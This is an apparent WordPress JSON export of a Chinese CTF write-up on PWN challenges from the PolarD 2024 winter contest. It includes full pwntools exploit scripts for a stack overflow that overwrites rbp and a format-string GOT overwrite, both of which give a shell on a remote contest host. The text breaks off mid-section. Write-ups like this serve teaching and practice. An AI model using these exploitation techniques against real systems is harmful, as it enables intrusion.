{"id":54,"date":"2024-12-11T13:58:37","date_gmt":"2024-12-11T05:58:37","guid":{"rendered":"http:\/\/8.141.27.105\/?p=54"},"modified":"2025-02-02T12:25:24","modified_gmt":"2025-02-02T04:25:24","slug":"polard%e5%86%ac%e5%ad%a3%e4%b8%aa%e4%ba%ba%e6%8c%91%e6%88%98%e8%b5%9b","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/polard%e5%86%ac%e5%ad%a3%e4%b8%aa%e4%ba%ba%e6%8c%91%e6%88%98%e8%b5%9b\/","title":{"rendered":"PolarD2024\u51ac\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b PWN\u90e8\u5206WP"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/polard%e5%86%ac%e5%ad%a3%e4%b8%aa%e4%ba%ba%e6%8c%91%e6%88%98%e8%b5%9b\/#%E3%80%90PWN%E3%80%91stack_%EF%BC%88%E8%A6%86%E7%9B%96rbp%E4%BF%AE%E6%94%B9bss%E5%8F%98%E9%87%8F%EF%BC%89\" title=\"\u3010PWN\u3011stack \uff08\u8986\u76d6rbp\u4fee\u6539bss\u53d8\u91cf\uff09\">\u3010PWN\u3011stack \uff08\u8986\u76d6rbp\u4fee\u6539bss\u53d8\u91cf\uff09<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/polard%e5%86%ac%e5%ad%a3%e4%b8%aa%e4%ba%ba%e6%8c%91%e6%88%98%e8%b5%9b\/#%E3%80%90PWN%E3%80%91tangniu\" title=\"\u3010PWN\u3011tangniu\">\u3010PWN\u3011tangniu<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/polard%e5%86%ac%e5%ad%a3%e4%b8%aa%e4%ba%ba%e6%8c%91%e6%88%98%e8%b5%9b\/#%E3%80%90PWN%E3%80%91bllbl_bind_calc\" title=\"\u3010PWN\u3011bllbl_bind_calc\">\u3010PWN\u3011bllbl_bind_calc<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/polard%e5%86%ac%e5%ad%a3%e4%b8%aa%e4%ba%ba%e6%8c%91%e6%88%98%e8%b5%9b\/#%E3%80%90PWN%E3%80%91likelibc3\" title=\"\u3010PWN\u3011likelibc3\">\u3010PWN\u3011likelibc3<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/polard%e5%86%ac%e5%ad%a3%e4%b8%aa%e4%ba%ba%e6%8c%91%e6%88%98%e8%b5%9b\/#%E3%80%90PWN%E3%80%91hack\" title=\"\u3010PWN\u3011hack\">\u3010PWN\u3011hack<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E3%80%90PWN%E3%80%91stack_%EF%BC%88%E8%A6%86%E7%9B%96rbp%E4%BF%AE%E6%94%B9bss%E5%8F%98%E9%87%8F%EF%BC%89\"><\/span>\u3010PWN\u3011stack \uff08\u8986\u76d6rbp\u4fee\u6539bss\u53d8\u91cf\uff09<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p id=\"u4a00174b\">\u672c\u9898\u601d\u8def\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p id=\"u9580fe0b\">main\u51fd\u6570\uff0c\u5224\u65adpasswd\u548cv4\u662f\u4e0d\u662f\u90fd\u7b49\u4e8e4660\uff0c\u662f\u7684\u8bdd\u5c31\u7ed9shell\uff0c\u5176\u4e2dpasswd\u662f\u5728bss\u6bb5\u7684\u5168\u5c40\u53d8\u91cf\uff0cv4\u662f\u5728\u6808\u4e0a\u7531\u7528\u6237\u8f93\u5165\u7684\u53d8\u91cf<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/D2AMT4@A@YXZARXL4SCI.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"350\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/D2AMT4@A@YXZARXL4SCI.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-101\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u4fac4d11\">test1\u51fd\u6570\uff1a<\/p>\n\n\n\n<p id=\"u0ed49069\">\u6709\u4e00\u4e2a\u516b\u5b57\u8282\u7684\u6ea2\u51fa\uff0c\u53ea\u80fd\u8986\u76d6\u5230rbp<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/JQP0OJ115X7Z1_PT8S.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"905\" height=\"372\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/JQP0OJ115X7Z1_PT8S.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-98\"  sizes=\"auto, (max-width: 905px) 100vw, 905px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u86406cad\">\u6240\u4ee5\u672c\u9898\u5c31\u662f\u8981\u60f3\u65b9\u8bbe\u6cd5\u5229\u7528\u8fd9\u516b\u5b57\u8282\u6ea2\u51fa\u6765\u4fee\u6539bss\u6bb5\u4e0apasswd\u53d8\u91cf\u7684\u503c\u3002<\/p>\n\n\n\n<p id=\"u0e72525e\">\u572864\u4f4d\u7a0b\u5e8f\u4e2d\uff0cscanf\u7684\u5199\u5165\u5730\u5740\u662f\u4ecersi\u5bc4\u5b58\u5668\u5f97\u5230\u7684\uff0c\u800crsi\u5bc4\u5b58\u5668\u53c8\u4e0erbp\u6709\u5173\uff0c\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n\n\n\n<p id=\"ud9e78b21\">\u6ce8\u610f\u5230\u51fd\u6570\u7ed9scanf\u4f20\u53c2\u7684\u65f6\u5019<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/9IMLUSDZLTTYRWEVPCSF-1-1024x895.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"895\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/9IMLUSDZLTTYRWEVPCSF-1-1024x895.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-100\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"ue65981f0\">\u6240\u4ee5\u53ea\u8981\u80fd\u8986\u76d6\u5230rbp\uff0c\u5c31\u80fd\u7be1\u6539scanf\u7684\u5199\u5165\u5730\u5740\uff0c\u7136\u540e\u5c31\u80fd\u5b9e\u73b0\u4efb\u610f\u5730\u5740\u5199\u4e86\u3002<\/p>\n\n\n\n<p id=\"u27037638\">\u6240\u4ee5\u6709\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>passwd= 0x4033cc\n\npayload = cyclic(80)+ p64(passwd+ 4)<\/code><\/pre>\n\n\n\n<p id=\"ub63c7a73\"><\/p>\n\n\n\n<p id=\"ubba7bd06\">\uff08\u4e3a\u4ec0\u4e48\u662fpasswd+ 4\uff0c\u56e0\u4e3avar_4\u662f-4\uff0c\u6240\u4ee5\u5f97\u7ed9\u5b83\u52a0\u56de\u53bb\uff09<\/p>\n\n\n\n<p id=\"u80fa5d1d\">\u8fd9\u6837\u5728\u4e0b\u6b21\u8c03\u7528scanf\u65f6\u5019\u5c31\u4f1a\u540c\u65f6\u5f80v4\u548cpasswd\u5904\u5199\u4e86\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/2CGF9BIHOS69UCREPK-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"416\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/2CGF9BIHOS69UCREPK-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-103\"  sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u33a8592c\">\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext.log_level='debug'\n\np = process(\"\/home\/monke\/polard2024winter\/stack\/stack\")\n\np = remote(\"1.95.36.136\",2134)\n\npasswd= 0x4033cc\n\npayload = cyclic(80)+ p64(passwd+4)\n\np.sendline(payload)\n\np.sendlineafter(\"1:\\n\",b'4660')\n\np.interactive()<\/code><\/pre>\n\n\n\n<p id=\"u53ecdd15\"><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E3%80%90PWN%E3%80%91tangniu\"><\/span>\u3010PWN\u3011tangniu<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p id=\"u8dff9d2f\">\u672c\u9898\u601d\u8def\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p id=\"u28f0f59e\">Fun\u51fd\u6570\u91cc\u9762\u5957\u4e86\u4e2adrink\u51fd\u6570\uff0c\u6761\u4ef6\u662f<\/p>\n\n\n\n<p id=\"u9bf85c65\">while ( strchr(buf, 115) )<\/p>\n\n\n\n<p id=\"u62fc3f36\">\u4e5f\u5c31\u662f\u5f53buf\u4e2d\u6709s\u65f6\u5019\u5c31\u4f1a\u4e00\u76f4while\u4e0b\u53bb<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/2X3IBYFZZ6IE6M4OIH-1024x317.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"317\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/2X3IBYFZZ6IE6M4OIH-1024x317.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-87\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/UZGNR@F3884XU9U@U@Q.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"510\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/UZGNR@F3884XU9U@U@Q.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-104\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p id=\"uff65ddc9\">drink\u51fd\u6570\uff1a<\/p>\n\n\n\n<p id=\"u02340614\">\u5f00\u4e86canary<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/OXF1BDHLH_B_D_WFJGNE-1024x613.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"613\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/OXF1BDHLH_B_D_WFJGNE-1024x613.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-88\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/NOEK7T3RGOH_DUVNRE.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"599\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/NOEK7T3RGOH_DUVNRE.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-105\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u92644187\">\u6211\u4e00\u5f00\u59cb\u7684\u601d\u8def\u662f\u7528printf\u6765\u6cc4\u9732canary\uff0c\u4f46\u662f\u5f88\u5feb\u53d1\u73b0\u505a\u4e0d\u5230\uff0c\u56e0\u4e3a\u53ea\u6709\u4e00\u4e2aread\u3002\u90a3\u7528fmt\u6765\u6cc4\u9732\u5462\uff1f\u901a\u8fc7\u52a8\u8c03\u5f97\u5230\u57fa\u7840\u504f\u79fb\u662f7\uff0ccanary\u7684\u504f\u79fb\u662f23\uff0c\u5982\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/8_9Q3FEIA4OZXV699_9A1C.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"494\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/8_9Q3FEIA4OZXV699_9A1C.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-106\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u90e8e64a\">\u6240\u4ee5\u601d\u8def\u5c31\u662f\uff1a<\/p>\n\n\n\n<p id=\"u366be2ab\">\u7b2c\u4e00\u6b21\u8fdb\u5165drink\u65f6\u83b7\u53d6canary\u503c\uff0c\u7b2c\u4e8c\u6b21\u8fdb\u5165drink\u65f6\u5019\u76f4\u63a5\u6ea2\u51fa\uff0c\u9898\u76ee\u6709system\u4e5f\u6709binsh\uff0c\u53ef\u4ee5\u76f4\u63a5\u7528\u3002<\/p>\n\n\n\n<p id=\"u9b06fd16\">\u4f46\u662f\u6253\u4e86\u597d\u591a\u6b21\u90fd\u53d1\u73b0\u4f1a\u68c0\u6d4b\u5230canary\u88ab\u7be1\u6539\uff0c\u6709\u70b9\u7591\u60d1\uff0c\u6309\u7406\u6765\u8bf4canary\u5e94\u8be5\u6ca1\u95ee\u9898\u624d\u5bf9\u3002\u540e\u6765\u4ed4\u7ec6\u60f3\u660e\u767d\u4e86\uff0c\u7b2c\u4e00\u6b21\u548c\u7b2c\u4e8c\u6b21\u8fdb\u5165drink\u65f6\u5019\u7684canary\u503c\u4e0d\u4e00\u6837\uff0c\u7528\u524d\u4e00\u6b21\u7684canary\u80af\u5b9a\u5c31\u4e0d\u884c\uff0c\u90a3\u5c31\u53ea\u80fd\u7ee7\u7eed\u627e\u522b\u7684\u529e\u6cd5\u3002<\/p>\n\n\n\n<p id=\"u21eb2d25\">\u7136\u540e\u60f3\u5230\u9898\u76ee\u53ea\u5f00\u4e86Partial RELRO\uff0c\u4e5f\u5c31\u662f\u8bf4\u53ef\u4ee5\u76f4\u63a5\u7be1\u6539GOT\u8868\uff0c<\/p>\n\n\n\n<p id=\"u543d279d\">\u9898\u76ee\u4e2d\u6709\u4e00\u884c printf(&#8220;\/bin\/sh&#8221;); \u5982\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/OCD4X88PX1_K7U5T6NW-1024x358.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"358\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/OCD4X88PX1_K7U5T6NW-1024x358.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-108\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"uf7bd50ec\">\u90a3\u5c31\u76f4\u63a5\u628aGOT\u8868\u4e2d\u7684printf\u5730\u5740\u6539\u6210system\u5730\u5740\u5c31\u5b8c\u4e8b\u4e86\uff0c\u539f\u6765\u8fd9\u9898\u8fd9\u4e48\u7b80\u5355\uff0c\u7ed5\u4e86\u4e00\u5927\u5708\u3002\u3002\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/GWF5LWJKLBTK55F7X.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"440\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/GWF5LWJKLBTK55F7X.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-107\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u1e2ce335\">\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\n\np=remote(\"1.95.36.136\",2127)\n\ncontext.log_level=\"info\"\n\n#p=process(\"\/home\/monke\/polard2024winter\/tangniu\/tangniu\")\n\nelf=ELF('\/home\/monke\/polard2024winter\/tangniu\/tangniu')\n\nsystem=elf.sym&#91;\"system\"]\n\nprintf = elf.got&#91;'printf']\n\nbinsh=0x0804885e\n\np.sendline(b\"s\")\n\npayload = fmtstr_payload(7, {printf: system})\n\np.sendline(payload)\n\np.interactive()<\/code><\/pre>\n\n\n\n<p id=\"u382cbbbe\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E3%80%90PWN%E3%80%91bllbl_bind_calc\"><\/span>\u3010PWN\u3011bllbl_bind_calc<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p id=\"u38333ebb\">\u672c\u9898\u601d\u8def\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p id=\"u9523ccaa\">\u9898\u76ee\u6ca1\u7ed9\u9644\u4ef6\uff0cnc\u8fc7\u53bb\u662f\u4e00\u8fde\u4e32\u7684\u8ba1\u7b97\uff0c\u8f93\u5165\u7b54\u6848\u5bf9\u4e86\u5c31\u7ee7\u7eed\uff0c\u9519\u4e86\u5c31\u9000\u51fa\u7a0b\u5e8f\uff0c\u5982\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/LKMXVM7QDG6Z1I1FBJT-1024x401.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"401\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/LKMXVM7QDG6Z1I1FBJT-1024x401.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-91\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p 